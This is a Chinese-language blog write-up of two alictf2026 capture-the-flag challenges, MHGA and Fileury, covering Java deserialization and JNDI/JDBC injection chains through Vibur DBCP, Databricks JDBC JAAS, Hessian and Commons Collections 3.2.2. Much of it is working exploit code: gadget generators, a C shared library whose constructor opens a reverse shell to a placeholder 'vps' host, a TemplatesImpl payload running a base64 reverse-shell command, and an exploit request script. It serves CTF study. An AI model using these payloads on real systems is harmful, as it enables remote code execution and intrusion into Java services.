alictf2026-MHGA_Fileury

前言

alictf的题目一如既往的优质,太久没写博客了,象征性更一下吧就(

MHGA

三血出的,但是打的非预期🤭🤭🤭

先学习一下预期解,本来队里已经要分析出来了,不过没来得及串起来就被我非预期截胡了hhhh

预期解

题目依赖为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.66</version>
</dependency>
<dependency>
<groupId>com.databricks</groupId>
<artifactId>databricks-jdbc</artifactId>
<version>2.6.38</version>
</dependency>
<dependency>
<groupId>org.vibur</groupId>
<artifactId>vibur-dbcp</artifactId>
<version>26.0</version>
</dependency>
</dependencies>

预期解需要思考到这五个点:

  1. Vibur DBCP JNDI 绕过
  2. Databricks JDBC Attack to JNDI 注入
  3. HessianProxyFactory JNDI 绕过
  4. Hessian JDK-Only 反序列化
  5. trustSerialData 绕过

Gadget为JNDI -> JDBC -> JNDI -> HessianProxyFactory(不走黑名单) -> hessian原生JDK反序列化链

看起来绕了一圈,但是这里出题人是故意这么整的。后面分析分析就知道了。

Vibur DBCP JNDI2JDBC

高版本JNDI注入我们一般考虑找本地的ObjectFactory。题目提供的vibur-dbcp存在一个不难找到的ViburDBCPObjectFactory

image-20260211232140082

虽然说这个依赖在JDBC攻击里不太常见,不过类比一下就能知道大差不差的:

1
2
3
4
5
Reference ref = new Reference("javax.sql.DataSource", "org.vibur.dbcp.ViburDBCPObjectFactory", null);
ref.add(new StringRefAddr("driverClassName", "aaa"));
ref.add(new StringRefAddr("jdbcUrl", "bbb"));
ref.add(new StringRefAddr("username", "test"));
ref.add(new StringRefAddr("password", "test"));

类似如此将JNDI注入转化成JDBC Attack。

Databricks JDBC2JNDI

这里跟一个之前爆过的议题有关系,我们也是找到了:

jdbc-tricks/jdbc-test-case/jaas4jdbc/src/main/java/databricks/Databricks.java at main · yulate/jdbc-tricks

A Novel Attack Surface: Java Authentication and Authorization Service (JAAS) - Black Hat Europe 2024 | Briefings Schedule

基础payload即为:

1
jdbc:databricks://127.0.0.1:443;AuthMech=1;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=/tmp/jaas.conf";

jaas.conf

1
2
3
4
5
6
7
8
Client {
com.sun.security.auth.module.JndiLoginModule required
user.provider.url="ldap://127.0.0.1:1389/wr4euw"
group.provider.url="test"
useFirstPass=true
serviceName="test"
debug=true;
};

但是这个打法只是验证本地配置文件,远程题目肯定不会给你准备这个玩意,但是对于最后这里的krbJAASFile值,我们可以使用https协议挂远程服务和文件,参考这篇博客可以直接拿到payload,将JDBC攻击转化为JNDI:

Databricks JDBC 通过 JAAS 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request

app = Flask(__name__)

@app.route('/jaas.conf', methods=['POST','GET'])
def SSOJSON():
if request.method == 'GET':
# Path to your jaas.conf file
jaas_conf_path = '/root/ssl/jaas.conf'
try:
# Read the contents of the jaas.conf file
with open(jaas_conf_path, 'r') as file:
jaas_content = file.read()

return jaas_content
except Exception as e:
# Handle exceptions (file not found, etc.)
return false;

if __name__ == '__main__':
app.run('0.0.0.0', debug=True, port=443, ssl_context=('/root/ssl/jdbc.pyn3rd.com.pem', '/root/ssl/jdbc.pyn3rd.com.key'))
1
jdbc:databricks://127.0.0.1:443;AuthMech=1;principal=test;KrbAuthType=1;httpPath=/;KrbHostFQDN=test;KrbServiceName=test;krbJAASFile=https://jdbc.pyn3rd.com:443/jaas.conf

HessianProxyFactory JNDI2evilSerialize

通过上一步,又从JDBC兜圈子兜回了JNDI,那么我们还需要找到一个本地工厂类来挂反序列化payload。

这里也是翻hessian源码不难找到HessianProxyFactory

su18的博客有过介绍:

image-20260211233029150

HessianProxyFactory 本质上是为Hessian Web RPC服务的,如果服务端暴露一个可以接收Hessian序列化数据的 HessianServlet,然后客户端就可以通过动态代理的方式与服务端的Servlet交互,实现 RPC 调用。

跟一下源码,可以知道HessianProxyFactorygetObjectInstance方法会创建一个HessianProxy代理对象:

image-20260211233634370

image-20260211233706232

跟进create方法:

image-20260211233726075

重点关注最后一个重写的create方法,其中 api 为动态代理的接口类,url 为服务端暴露的 Hessian Servlet 地址,handlerHessianFactory

而在JDK动态代理中,通过Proxy.newProxyInstance创建代理对象后,这个对象的任何方法调用都会在最后触发到InvocationHandlerinvoke方法。

结合起来,对于我们找的这个HessianProxy则是com.caucho.hessian.client.HessianProxy#invoke

image-20260211234155831

略过几个methodName判断,可以跟进到这个sendRequest():

image-20260211234337251

这个sendRequest就是对之前的url发请求,继续跟进到一些if判断:

image-20260211234559832

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int code = is.read();
if (code != 72) {
//...
}
int major = is.read();
int minor = is.read();
AbstractHessianInput in = this._factory.getHessian2Input(is);
Object value = in.readReply(method.getReturnType());
if (value instanceof InputStream) {
value = new ResultInputStream(conn, is, in, (InputStream)value);
is = null;
conn = null;
}
var12 = value;

is.read()会读取出首字节然后进行判定。而72的ASCII字符为H:

image-20260211234807823

如果这个字符是H,接下来它将读取后两个字节分别保存为major和minor,并调用到in.readReply(method.getReturnType())

这里的readReply实则是调用到了com.caucho.hessian.io.Hessian2Input#readReply

image-20260211235743180

这里就会读一个字节保存为int变量tag,换成ASCII可知这里如果tag为R(tag == 82)则进入readObject(expectedClass)expectedClass就是method.getReturnType(),也就是前面动态代理的调用中被代理方法的返回值类型。

这下我们终于从题目给出的JNDI走到了readObject点位,可以愉快地打反序列化了。

Hessian原生JDK反序列化链

然后就是Hessian原生JDK反序列化链条构造了,这个网上博客也写了很多,注意这里需要不走黑名单,官方用的方法是JavaUtils.writeBytesToFilename + System.load打文件上传到动态链接库的 RCE Gadget。

但题目用的是JDK11,JDK11中是不能够再使用SwingLazyValue了的,需要用ProxyLazyValue代替:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import com.caucho.hessian.io.Hessian2Output;
import map.jndi.util.ReflectUtil;

import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.HashMap;

public class HessianGadgets {
public static byte[] loadLibrary(String fileName, byte[] content) throws Exception {
UIDefaults.ProxyLazyValue proxyLazyValue1 = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{fileName, content});
UIDefaults.ProxyLazyValue proxyLazyValue2 = new UIDefaults.ProxyLazyValue("java.lang.System", "load", new Object[]{fileName});

ReflectUtil.setFieldValue(proxyLazyValue1, "acc", null);
ReflectUtil.setFieldValue(proxyLazyValue2, "acc", null);

UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("aaa", proxyLazyValue1);
u2.put("aaa", proxyLazyValue1);

HashMap map1 = makeMap(u1, u2);

UIDefaults u3 = new UIDefaults();
UIDefaults u4 = new UIDefaults();
u3.put("bbb", proxyLazyValue2);
u4.put("bbb", proxyLazyValue2);

HashMap map2 = makeMap(u3, u4);

HashMap map = new HashMap();
map.put(1, map1);
map.put(2, map2);

return serialize2(map);
}

private static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> map = new HashMap<>();
Method putValMethod = HashMap.class.getDeclaredMethod("putVal", int.class, Object.class, Object.class, boolean.class, boolean.class);
putValMethod.setAccessible(true);
putValMethod.invoke(map, 0, v1, 123, false, true);
putValMethod.invoke(map, 1, v2, 123, false, true);
return map;
}

private static byte[] serialize2(Object o) throws Exception {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bao);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
output.flush();
return bao.toByteArray();
}
}
1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'");
}
1
gcc -shared -fPIC exp.c -o exp.so

怎么触发Hessian反序列化?

理论Gadget通了,但是怎么触发的Hessian反序列化呢🤔🤔🤔?

我们通过 HessianProxyFactory 能够在 JNDI 注入的时候创建一个 HessianProxy 动态代理对象,但是要想调用 HessianProxyinvoke 方法,就必须得在这个动态代理对象上调用任意一个方法

这就是问题所在啊!

我们看看题目的JNDI接口:

image-20260212000536795

这里直接是(new InitialContext()).lookup(url),并不是形如 Object obj = new InitialContext().lookup(url) 然后 obj.xxx() 的写法。

所以看懂了吗?

这就是不能直接在一开始使用HessianProxyFactory来打JNDI注入的原因。因为这样仅仅创建了一个动态代理对象,并没有调用到HessianProxyFactory的某个方法,如此便到不了它的invoke方法了。

这里作者也是给了另外Vibur和Databricks的依赖,而对于 Databricks的JNDI注入,跟进可知触发到com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

image-20260212001328568

这里触发JNDI注入,但是它将ctx强转成了javax.naming.directory.DirContext接口类,后面这个ctx对象则会调用ctx.search方法进行搜索。

这就触发了任意的一个方法,所以我们可以通过动态代理构造一个实现 javax.naming.directory.DirContext 接口的对象,然后通过 search 方法触发动态代理调用。

综上所述,链条已通。

(X1哥出的题真是,这个兜圈子有点太刻晴了。。。)

trustSerialData 绕过

最后一个小问题需要解决,JDK21后trustSerialData被默认为false,打过高版本JNDI的都知道这个东西,而且JDK的更新是几个版本都动态更新的,所以这个trustSerialData的patch也逐渐应用到了JDK8、JDK11等等,包括这个题目环境。

不过我们仍然可以设置相关的 LDAP 参数, 使得服务端直接返回 Reference 对象, 因为这个过程没有涉及到反序列化, 所以也就绕过了 trustSerialData 参数的限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
// ......

Reference ref = (Reference) result;
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());

Enumeration<RefAddr> enumeration = ref.getAll();
int posn = 0;

while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
posn ++;
}

// ......
}

EXP

所有的所有都被X1哥集成到它最新那个JNDIMap里了,复现我就懒得搓LDAPServer了:

1
java -jar JNDIMap-0.0.5.jar --use-reference-only -i vps
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import base64

url = 'http://127.0.0.1:8000/lookup'

host = 'vps:ldap_port'
path = 'exp.so'

hessian_url = 'ldap://' + host + '/Hessian/javax.naming.directory.DirContext/LoadLibrary/' + base64.urlsafe_b64encode(path.encode()).decode()
jndi_url = 'ldap://' + host + '/Vibur/Databricks/JNDI/' + base64.urlsafe_b64encode(hessian_url.encode()).decode()

resp = requests.get(url, headers={'X-Lookup-URL': jndi_url})
print(resp.text)

image-20260212002048959

非预期解

当时我们分析这道题有两个思路。

一个是上述预期解这样走Proxy动态代理打Hessian反序列化链,另一个是直接找这个题目的链子打原生链,然后搓一个JRMPListener发送恶意序列化payload即可。

思考第一个思路比较久后无果,我便尝试第二个思路了,当时还在找能不能找到什么原生链可以用来打TemplateImpl恶意字节码,但是Spring、Jackson这种都被阉割了,也没有什么能打的依赖。

难绷的是,经过一通翻,真在Databricks里找到了Jackson依赖的平替com.databricks.client.jdbc.internal.fasterxml.jackson,而且里面也有POJONode,也能调用到toString方法:

image-20260212002814444

那还说啥了,直接等效替换打Jackson原生,flag给你了。

只不过没Spring依赖所以打不了稳定的Aop链,把这部分去掉即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class PayloadGenerator {

public static Object getPayload() throws Exception {
// 1. Generate standard TemplatesImpl (RCE Gadget)
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(cl, null);
} catch (Exception ignored) {
System.out.println(ignored);
}

byte[] code1 = getTemplateCode("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "MHGA");
setFieldValue(templates, "_bytecodes", new byte[][]{code1});
setFieldValue(templates, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
setFieldValue(templates, "_transletIndex", 0);

// 2. Wrap via POJONode (Trigger: toString -> getter)
POJONode node = new POJONode(templates);

// 3. Wrap via BadAttributeValueExpException (Trigger: readObject -> toString)
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);
setFieldValue(badAttribute, "val", node);
return badAttribute;
}

public static byte[] serialize(Object obj, boolean printBase64) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (printBase64) {
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
return baos.toByteArray();
}

public static byte[] getTemplateCode(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
// Create a unique class name to avoid conflicts
CtClass template = pool.makeClass("EvilTemplates_" + System.nanoTime());
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

// Execute cmd in static block or constructor
String block = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");";
template.makeClassInitializer().insertBefore(block);

return template.toBytecode();
}

public static void setFieldValue(Object obj, String fieldName, Object val) throws Exception {
Field f = null;
Class<?> c = obj.getClass();
while (c != null) {
try {
f = c.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
if (f == null) throw new NoSuchFieldException(fieldName);
f.setAccessible(true);
f.set(obj, val);
}
}

手搓一个JRMPListener,挂vps上即可。

JDK11没有强制的模块化,所以不用像JDK17那样用Unsafe和bypassModule。

image-20260212003128833

小插曲则是,我忘了看那个配置文件,配置文件是将flag直接chmod 000了,这里其实不涉及什么提权,所以chmod 777 /flag就能直接读了。。。。

Fileury

本地通远程不通的难绷题。

题目给了aspectJweaver,很容易想到打文件上传+System.load的combo打法。

但是远程不知道jdk路径,队里学长docker测了无数个版本的都不太行emmmmm

反序列化点位很显然:

image-20260212003641313

但是直接序列化aspectJweaver会发现在fury黑名单中。

预期解

这里官网给的做法是二次反序列化,而且后续打的是覆盖/usr/local/openjdk-8/jre/lib/jce.jar,通过重写jar中的javax.crypto.NoSuchPaddingException类来进行利用,然后反序列化点位实例化并加载这个类即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.app;

import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.util.Base64;

public class jce_exp {
public static void main(String[] args) throws Exception {
Class<?> forName = Class.forName("javax.crypto.NoSuchPaddingException");
Object instance = forName.newInstance();

Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).withRefTracking(true).build();
byte[] bytes_final = fury.serialize(instance);
System.out.println(Base64.getEncoder().encodeToString(bytes_final));
}
}

但这道题其实不需要二次反序列化,难绷。

非预期解

CC3.2.2的修复

可以在题目文件的CommonsCollections的pom.xml中看到版本是3.2.2,对于3.2.2,通过diff可以发现,新版代码中增加了⼀个方法:

1
FunctorUtils#checkUnsafeSerialization

用于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true ,即默认情况下会抛出异常。

这个检查在常见的危险Transformer类 (InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer等)的 readObject 里进行调用,所以当我们反序列化包含这些对象时就会抛出⼀个异常。

所以这里我们需要在Exp中先用System.setProperty设置org.apache.commons.collections.enableUnsafeSerialization=false,防止本地报错。

挖掘出类似CC链的链条

Apache Commons Collections(ACC 3.2.2+)的安全修复并不是“修复”了反序列化漏洞本身,而是通过 FunctorUtils.checkUnsafeSerialization 方法建立了一个黑名单。当 enableUnsafeSerialization=false(默认值)时,以下类在反序列化时会抛出异常:

1
2
3
4
5
6
InvokerTransformer
InstantiateTransformer
CloneTransformer
PrototypeFactory
ForClosure
... 等

但是我们可以挖掘出形如MapTransformer, FactoryTransformer, ConstantFactory, LazyMap, TransformingComparator的类来拼接反序列化链条。
而这些类在 ACC 3.2.2+ 中被认为是“功能性”的类,没有被加入黑名单。因此,即使目标环境设置了禁止不安全序列化,这些类依然可以被正常反序列化。

学长打的是覆盖libjaas_unix.so,位于/usr/local/openjdk-8/jre/lib/amd64,然后再打一发System.load()即可。

但是我们其实还是会使用到InvokerTransformer,不过这里的 InvokerTransformer 只是用来初始化 PriorityQueue,防止构造函数报错:

1
2
3
4
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(invokerTransformer));
// ...
setFieldValue(queue, "comparator", transformingComparator);

随后通过反射将 queue 中的 comparator 替换成了 transformingComparator(包装了 MapTransformer),这意味着最终生成的序列化数据中,根本就不包含 InvokerTransformer 这个对象,不会被ban。

Gadgets

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
-> PriorityQueue.heapify() / siftDown()
-> TransformingComparator.compare()
-> MapTransformer.transform("libjaas_unix.so")
-> LazyMap.get("libjaas_unix.so")
-> FactoryTransformer.transform() [因为 Key 不存在,触发创建]
-> ConstantFactory.create() [返回 exp.so 的字节数组]
-> LazyMap 调用 map.put("libjaas_unix.so", byte_array)
-> SimpleCache$StoreableCachingMap.put()
-> 写入文件: /usr/local/openjdk-8/jre/lib/amd64/libjaas_unix.so

然后再类似的替换最后那部分去调用System.load再打一发即可。

懒得再写Exp打复现了,就这样吧😀😀😀

后记

这两道挺有意思的,所以写写学习学习。

staircase太tricky了,不看不看🤭🤭🤭

参考:

第四届阿里CTF官方writeup-先知社区

Databricks JDBC 通过 JAAS 攻击

Hessian 反序列化知一二 | 素十八

A Novel Attack Surface: Java Authentication and Authorization Service (JAAS) - Black Hat Europe 2024 | Briefings Schedule

jdbc-tricks/jdbc-test-case/jaas4jdbc/src/main/java/databricks/Databricks.java at main · yulate/jdbc-tricks


alictf2026-MHGA_Fileury
https://eddiemurphy89.github.io/2026/02/11/alictf2026-MHGA-Fileury/
作者
EddieMurphy
发布于
2026年2月11日
许可协议